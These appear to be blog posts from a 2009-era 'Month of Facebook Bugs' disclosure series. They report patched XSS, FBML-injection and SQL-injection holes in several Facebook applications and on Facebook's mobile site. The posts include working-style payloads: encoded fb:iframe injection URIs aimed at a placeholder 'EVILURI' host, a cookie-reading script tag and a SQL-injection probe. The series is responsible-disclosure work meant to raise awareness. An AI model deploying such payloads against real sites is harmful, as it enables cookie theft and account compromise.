The Social Media Security Podcast

Reported By: Tom Eston

Current Monthly Active Users: 674,027

Current Rank on Application Leaderboard: 164

Application Developer: Ninua, Inc.

Responsiveness: Ninua responded quickly and issued a patch within 24 hours. Furthermore, they went back and scanned all of their pages for holes, then did a second sweep the next week.

Vulnerability Status: Patched

Technical Details:

1. One could insert FBML into the Link Name field for links in a user’s profile. This code would then be rendered when someone viewed the profile.
2. At least one page appeared to have a SQL injection hole.  As an example, searching for \’test producing a lengthy SQL error.
3. One page,  http://apps.facebook.com/blognetworks/userpage.php, was vulnerable to both SQL injection and XSS by inserting text into the uid parameter, such as \<img src=””>.

Notes: This is the first example of a persistent XSS hole in a Facebook application that I became aware of, and full credit for the find goes to security researcher Tom Eston, one of the main people behind SocialMediaSecurity.com.

For the second half of the FAXX Hacks series, I will be making two changes. First, I will no longer indicate whether a vulnerability is also susceptible to clickjacking installs. This project has taken a good deal of volunteered time, and I’ve already shown that over half of the first 15 vulnerabilities could be used with clickjacking.

Second, the example URIs for the next 15 applications will simply demonstrate inserting an fb:iframe tag. Working out the details of the full double-injection trick I’ve previously demonstrated usually takes considerably more time than checking for clickjacking, and thus far has nearly always been possible. When I release demonstration attack code in October, I also plan on giving a more thorough explanation of the double-injection technique.

Thanks for reading and I hope you enjoy the rest of the series – if you think the first half exhausted all the applications with large userbases, think again.

A few weeks ago, I announced my plan to post a series of FAXX (Facebook Application XSS+XSRF) hacks. In the spirit of previous series of vulnerability disclosures, I elected to post a new hole every day for the month of September. The effort quickly became known as the Month of Facebook Bugs, and today marks the halfway point.

Thus far, counting the “Make a Gift!” vulnerability as affecting one application, I’ve reported on 19 vulnerable applications, and all but one are patched. Of those 19 applications, 12 are Facebook Verified Applications, and 13 are capable of clickjacking installs. All types of applications have appeared in the series so far, with several coming from the top 10 by monthly active users. Ignoring any overlap and simply totaling all of the monthly active user figures from the 19 reports, the tally of vulnerable users would stand at just over 169 million. However, an application vulnerability affects any user who has ever authorized the application, regardless of how often they use it. Furthermore, a user who has not authorized an application is still susceptible to a clickjacking install.

The primary purposes of this series is to raise awareness – and with several audiences. First, many Facebook users apply the same level of trust to Facebook applications that they give to Facebook itself, and are completely unaware of application-based attacks or the prevalence of application vulnerabilities. Second, many application developers are overlooking basic security practices for web applications. Third, the technology community has not always seemed to realize the magnitude of issues present in the Facebook Platform today.

In fact, while I may ensure that 30 applications get patched, if a 31st remains vulnerable, users remain vulnerable. I’ve outlined before some of the problem I see in the architecture of the Platform, and I’ve sent those concerns to Facebook in communicating with them about these application holes. I’ve not received a response thus far, and honestly don’t expect one, but I do hope this month-long series helps illustrate more vividly why I’ve raised such concerns.

As of today, I have uncovered enough FAXX hacks to last through the rest of September. I’ve already made an effort to contact every developer affected to give them time for patches. Once the month ends, I plan on releasing source code that demonstrates how a FAXX hack can be exploited to steal profile information and launch viral attacks. In the mean time, thanks to everyone for help and feedback – and please keep spreading the word.

(This makes up for Monday’s FAXX Hack absence.)

Several Facebook applications serve to create other Facebook applications. For example, “Make a Gift!” lets users create applications for sending themed virtual gifts to friends. The user specifies various custom parameters for their new application, but the actual code is hosted by the original application.

This means, though, that a vulnerability in the codebase applies to every application built on it. Case in point: Earlier this week, I discovered an XSS hole in Make a Gift! applications.  As an example, this URI demonstrates the hole for the Friends! gift application:http://apps.facebook.com/friendsbghdkbhfbpgkg/?target=calendar-w&month=10&year=2009)%22%3E%3C%2Fa%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Fgifts.applatform.com%2Fa%2F1673%2F%3Fajax%3D1%26target%3Dcalendar-w%26month%3D10%26year%3D2009)%2522%253E%253C%252Fa%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E%22%3E

To launch an attack against another gift application, one only need change the canvas URI and the 4-digit number in the gifts.applatform.com URI. The largest applications I know of built with Make a Gift! are Friends! (2,135,691 monthly active users) and Birthday (2,993,635 monthly active users). From browsing the Make a Gift! application, I counted at least 9,689 applications built using it, and the above vulnerability applied to every one of them. The hole was also capable of a clickjacking install.

I did not have a direct contact for the developer of the Make a Gift! application, but I notified Facebook and they passed on word. Fortunately, the codebase was patched fairly quickly.

Facebook Verified Application

Current Monthly Active Users: 5,024,914

Current Rank on Application Leaderboard: 30

Application Developer: Familybuilder

Responsiveness: Familybuilder responded quickly, patched all the issues within a day or two, and sent updates on their progress.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Technical Details:

1. If a person wrote a comment on a user’s Family Feed containing FBML, that code would then be rendered when the feed was loaded, e.g. <fb:iframe src=’http://google.com/‘>.
2. If a user included FBML in sections of his/her Facebook profile information, this would be rendered when someone viewed the “Info” tab of the user’s Family Tree profile.
3. If a user inserted an FBML iframe that then referenced the direct URI of their Family Tree profile, this would in turn load malicious scripts embedded in the Family Tree page.  For example, inserting <fb:iframe src=”http://fb.apps.familybuilder.com/newfamilytree/scripts/profileInfo.php?profileid=PROFILENUM“> and <script>alert(document.cookie);</script> in a user’s Facebook profile, with the correct Family Tree profile number filled in, would have displayed the cookies on loading the “Info” tab.

Notes: This is an example of a persistent XSS hole – a bug I had not been looking for, but after Tom Eston found one in another application (to be posted later this week), I began keeping an eye out for them.

Today I’m going to take a break from posting application holes, though not due to lack of material. I have several vulnerabilities ready to post, but I’m giving developers time to ensure their applications are secure. A few requests forced me to adjust my schedule, so I’ll make up for today’s omission in the future.

In the mean time, I thought I would share another Facebook bug that security researcher Pierre Gardenat sent to me. Full credit for this bug goes to Gardenat.

Earlier this year, he published a paper (PDF, French) on XSS vulnerabilities within Facebook itself. As his paper notes, Facebook did issue fixes, but only at the presentation layer. Facebook apparently did not take steps to identify harmful code already stored in their databases, or provide filters to avoid more code from being inserted.

Consequently, another attack vector surfaced when another facet of the presentation layer remained unpatched. First, a user could enter script tags with code in the screen name field of their profile’s contact information. Visiting Facebook in a desktop browser would not load the script, as presentation layer filters prevented it from being rendered as script. However, the mobile version of Facebook at m.facebook.com did not have such protections, and the script would execute fine.

This is an example of a persistent XSS hole, as opposed to the reflected XSS holes I’ve been posting so far. The attack code is stored within the application and loaded whenever a user visits a page that loads the code. In some ways this type of attack is more powerful than a standard reflected XSS attack.

Facebook has, of course, patched the mobile site now. But understanding the layers involved in dealing with XSS holes is an important lesson. And it’s one Facebook applications should not ignore, since they too can become susceptible to persistent XSS holes. In fact, two applications (one a Facebook Verified Application) vulnerable in this way have already been discovered, and I plan on posting details of the problems later this week as FAXX hacks.

Facebook Verified Application

Current Monthly Active Users: 2,400,608

Current Rank on Application Leaderboard: 64

Application Developer: Green Patch

Responsiveness: Green Patch did not send any messages, but did patch the hole.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Example URI: http://apps.facebook.com/greentrees/house.php?userId=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%2F%22%3E

Notes: This example URI once again does not include a standard double-injection trick. But I was unable to create such an exploit not because of a server whitelist or secure code. In fact, quite the opposite was true – nearly every time I tried to insert FBML or HTML into various pages, I ended up getting SQL errors. It quickly became clear that multiple SQL injection holes existed in this application. In this case, such problems weren’t entirely serious for users, as attacks would be accessing the application database, which does not store any sensitive information. Still, it’s disconcerting to find so many SQL injection holes in a Facebook Verified Application with over 2 million monthly active users.